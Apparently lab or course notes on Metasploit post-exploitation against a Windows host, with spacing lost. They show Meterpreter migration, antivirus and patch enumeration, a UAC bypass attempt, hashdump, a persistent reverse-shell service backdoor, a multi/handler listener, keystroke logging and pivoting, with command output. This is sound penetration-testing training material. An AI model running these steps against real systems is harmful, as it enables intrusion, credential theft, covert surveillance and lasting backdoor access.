searchmigrateusepost/windows/manage/migrateinfo# Description:# This module will migrate a Meterpreter session from one process to # another. A given process PID to migrate to or the module can spawn # one and migrate to that newly spawned process.setSESSION1run# It will not migrate if it's already a x64 process
📌 Applications version is a very useful information. It can lead to a privilege escalation vulnerability!
loot
The /root/.msf4/loot/ folder can be handy.
Check Antivirus
searchtype:postplatform:windowsenum_avusepost/windows/gather/enum_av_excluded# Description:# This module will enumerate the file, directory, process and # extension-based exclusions from supported AV products, which # currently includes Microsoft Defender, Microsoft Security # Essentials/Antimalware, and Symantec Endpoint Protection.setSESSION1run
searchenum_patchesusepost/windows/gather/enum_patches# Description:# This module will attempt to enumerate which patches are applied to a # windows system based on the result of the WMI query: SELECT HotFixID # FROM Win32_QuickFixEngineering# A KB list can be specifiedsetSESSION1run# If this doesn't work, migrate to a "NT AUTHORITY\SYSTEM" user service
This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off. This module uses the Reflective DLL Injection technique to drop only the DLL payload binary instead of three separate binaries in the standard technique. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also). If specifying EXE::Custom your DLL should call ExitProcess() after starting your payload in a separate process.
getuidServerusername:VICTIM\admingetsystem# gesystem failsgetprivsEnabledProcessPrivileges==========================Name----SeChangeNotifyPrivilegeSeIncreaseWorkingSetPrivilegeSeShutdownPrivilegeSeTimeZonePrivilegeSeUndockPrivilege# "admin" user my be part of the Administrators group
shell
On the Windows target cmd
netusersadminAdministratorGuestnetlocalgroupadministratorsMembers-------------adminAdministrator# Yes, "admin" is part of the Administrators group# but doesn't have administrative privileges through the Meterpreter sessionexit
[*] Started reverse TCP handler on 10.10.24.6:5533 [+] Windows 2012 R2 (6.3Build9600). may be vulnerable.[*] UAC is Enabled, checking level...[+] Part of Administrators group!Continuing...[+] UAC is set to Default[+] BypassUAC can bypass this setting, continuing...[-] Exploit aborted due to failure: bad-config: x86 Target Selected for x64 System[*] Exploit completed, but no session was created.
getuidServerusername:NTAUTHORITY\LOCALSERVICEgetprivsEnabledProcessPrivileges==========================Name----SeAssignPrimaryTokenPrivilegeSeAuditPrivilegeSeChangeNotifyPrivilegeSeCreateGlobalPrivilegeSeImpersonatePrivilege# Token Impersonation can be performedSeIncreaseQuotaPrivilegeSeIncreaseWorkingSetPrivilegeSeSystemtimePrivilegeSeTimeZonePrivilegehashdump# try to check if the user have sufficient privileges
❗ In order to set up persistence, administrative privileges are required.
backgroundsearchplatform:windowspersistenceuseexploit/windows/local/persistence_serviceinfo# Description:# This Module will generate and upload an executable to a remote host, # next will make it a persistent service. It will create a new service # which will start the payload whenever the service is running. Admin # or system privilege is required.setpayloadwindows/meterpreter/reverse_tcpsetSESSION1run
Successful maintained access. Once the persistent backdoor is installed, it's going to continue to run (across restarts) as a service and a multi handler listening to a connection will receive a connection from the service.
exit# Kill all sessionssessions-Ksessions# No active sessions.
Regain access to the system
usemulti/handleroptions# Set the options as specified for the PERSISTENCE_SERVICE Exploitsetpayloadwindows/meterpreter/reverse_tcpsetLHOSTeth1setLPORT4444run
80/tcpopenhttpBadBluehttpd2.7135/tcpopenmsrpcMicrosoftWindowsRPC139/tcpopennetbios-ssnMicrosoftWindowsnetbios-ssn445/tcpopenmicrosoft-dsMicrosoftWindowsServer2008R2-2012microsoft-ds49152/tcpopenmsrpcMicrosoftWindowsRPC49153/tcpopenmsrpcMicrosoftWindowsRPC49154/tcpopenmsrpcMicrosoftWindowsRPC49155/tcpopenmsrpcMicrosoftWindowsRPC49156/tcpopenmsrpcMicrosoftWindowsRPC49175/tcpopenmsrpcMicrosoftWindowsRPC# RDP 3389 is disabled
pgrepexplorermigrate2420help# Stdapi: User interface Commands===============================CommandDescription------------------enumdesktopsListallaccessibledesktopsandwindowstationsgetdesktopGetthecurrentmeterpreterdesktopidletimeReturnsthenumberofsecondstheremoteuserhasbeenidlekeyboard_sendSendkeystrokeskeyeventSendkeyeventskeyscan_dumpDumpthekeystrokebufferkeyscan_startStartcapturingkeystrokeskeyscan_stopStopcapturingkeystrokesmouseSendmouseeventsscreenshareWatchtheremoteuser's desktop in real time screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components
Open a Notepad session on the Target machine.
On the Attacker machine, start the keystroke capture
keyscan_startStartingthekeystrokesniffer...
Input some text into the target machine
Back on the attacker machine, capture the entered data
Pivoting technique with a network route to the internal network's subnet
ping10.2.30.252PING10.2.30.252 (10.2.30.252) 56(84) bytes of data.64bytesfrom10.2.30.252:icmp_seq=1ttl=125time=2.25ms64bytesfrom10.2.30.252:icmp_seq=2ttl=125time=1.99msping10.2.21.166PING10.2.21.166 (10.2.21.166) 56(84) bytes of data.# No response from target2